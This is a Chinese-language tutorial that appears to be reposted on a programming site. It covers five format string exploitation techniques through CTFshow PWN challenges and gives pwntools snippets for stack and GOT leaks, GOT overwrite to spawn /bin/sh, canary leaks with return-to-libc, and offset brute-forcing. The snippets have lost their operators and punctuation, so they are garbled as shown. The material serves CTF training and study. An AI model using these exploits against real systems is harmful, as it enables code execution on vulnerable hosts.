格式化字符串漏洞利用的5种常见手法:以CTFshow题目为例
格式化字符串漏洞实战5种高级利用手法与CTFshow案例分析格式化字符串漏洞Format String Vulnerability是二进制安全领域中最经典也最危险的漏洞类型之一。这种漏洞源于程序员错误地将用户输入直接作为格式化字符串参数传递给printf、sprintf等函数使得攻击者能够控制格式化字符串的内容。本文将深入剖析格式化字符串漏洞的5种高级利用手法并结合CTFshow平台上的真实题目进行实战演示。1. 格式化字符串漏洞基础与利用原理在深入利用技巧之前我们需要理解格式化字符串漏洞的基本原理。当程序使用类似printf(user_input)而非printf(%s, user_input)的写法时就埋下了安全隐患。格式化字符串中的特殊符号如%x、%p、%n会被printf系列函数解析为格式说明符%x/%p泄露栈内存内容%s泄露任意地址内存可能导致段错误%n向指定地址写入已输出的字符数%c输出字符%hhn/%hn按字节/半字写入漏洞利用的关键步骤确定偏移量找出用户输入在栈上的位置构造payload精心设计格式化字符串实现目标内存泄露、代码执行等提示在32位系统中参数通过栈传递64位系统则优先使用寄存器当参数超过6个时才使用栈。2. 内存信息泄露从栈到任意地址读取内存泄露是格式化字符串漏洞最直接的利用方式通过%x、%p或%s可以获取程序内存中的敏感信息。2.1 栈内存泄露CTFshow-PWN92展示了最简单的利用方式from pwn import * io remote(pwn.challenge.ctf.show, 28221) io.sendline(%s) # 直接泄露栈上指针指向的内容 print(io.recvall())2.2 任意地址泄露更高级的利用是通过构造指针来读取特定内存地址的内容如获取GOT表项# CTFshow-PWN96 部分exp puts_got elf.got[puts] payload p32(puts_got) b%6$s # 读取puts函数的真实地址 io.sendline(payload) puts_addr u32(io.recv(4))泄露技巧对比表方法格式化符特点适用场景栈泄露%p/%x简单直接快速获取栈上信息任意读%s地址需要构造指针读取GOT表、canary等链式泄露多%p组合无需构造指针未知偏移时的信息收集3. GOT表劫持实现任意代码执行全局偏移表(GOT)劫持是格式化字符串漏洞利用中最强大的技术之一通过修改GOT表中的函数指针来控制程序执行流。3.1 基本原理泄露libc基地址通过已调用函数的GOT表项计算目标函数地址如system覆写GOT表项通常选择printf或strlen3.2 CTFshow-PWN95实战分析# 泄露puts地址获取libc基址 puts_got elf.got[puts] payload p32(puts_got) b%6$s io.sendline(payload) puts_addr u32(io.recvuntil(b\xf7)[-4:]) libc_base puts_addr - libc.dump(puts) # 计算system地址并劫持printf_got system_addr libc_base libc.dump(system) printf_got elf.got[printf] payload fmtstr_payload(6, {printf_got: system_addr}) io.sendline(payload) io.sendline(b/bin/sh) # 触发printf(/bin/sh)实际执行system(/bin/sh)GOT劫持注意事项选择不常用但会被调用的函数进行劫持注意字节序和写入大小%n、%hn或%hhn考虑ASLR的影响需要先泄露地址4. 栈保护绕过格式化字符串与canary破解栈保护机制Stack Canary是现代二进制保护的基本措施但格式化字符串漏洞可以绕过这种保护。4.1 Canary泄露原理Canary通常位于栈上的固定偏移处通过格式化字符串可以读取其值# CTFshow-PWN98 部分exp payload b%5$s.%15$p # 同时泄露puts地址和canary io.sendline(payload) puts_addr u32(io.recvuntil(b\xf7)[-4:]) canary int(io.recvuntil(b.)[:-1], 16)4.2 完整利用流程泄露canary值泄露libc基地址构造ROP链或直接覆盖返回地址在溢出时保持canary值不变# 构造包含正确canary的payload payload bA*(0x34-12) p32(canary) p32(0)*3 payload p32(system_addr) p32(0x0804876B) p32(binsh) io.sendline(payload)5. 高级利用技巧一次性攻击与条件竞争5.1 单次利用技巧CTFshow-PWN100当格式化字符串只能使用一次时需要精心构造payload同时完成多个操作# 同时完成canary泄露和返回地址修改 fmt_attack(b%7$n-%16$p) # 修改a1为0使其可重复利用并泄露地址 io.recvuntil(-) ret_addr int(io.recvuntil(b\n)[:-1],16)-0x285.2 格式化字符串与堆结合在更复杂的场景中格式化字符串漏洞可能与堆漏洞结合# 结合堆布局泄露堆地址 payload b%p*20 # 扫描栈寻找堆指针 io.sendline(payload) heap_addr int(io.recvuntil(b0x)[-10:], 16)高级技巧对比表技巧关键点适用场景单次利用组合多个操作限制使用次数的场景堆栈结合泄露堆/栈指针需要堆操作的题目盲打技术暴力枚举偏移无回显或远程题目6. 自动化利用与防御绕过现代CTF题目往往设置了更复杂的防护措施需要更智能的利用方式。6.1 自动化偏移探测# CTFshow-PWN99 暴力探测 def leak(payload): io remote(pwn.challenge.ctf.show,28216) io.sendline(payload) data io.recv() if data.startswith(b0x): print(p64(int(data, 16))) io.close() for i in range(1,100): payload f%{i}$p.encode() leak(payload)6.2 防御措施与绕过方法常见防御及应对策略格式化字符串过滤绕过使用%hn代替%n或组合%c等Partial RELRO绕过仍然可以修改GOT表FULL RELRO替代方案修改返回地址或函数指针栈不可执行解决方案ROP或劫持已有函数在实际漏洞利用中往往需要结合多种技术才能成功利用。理解每种手法的原理和适用场景才能在CTF比赛和实际安全研究中灵活运用。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2470927.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!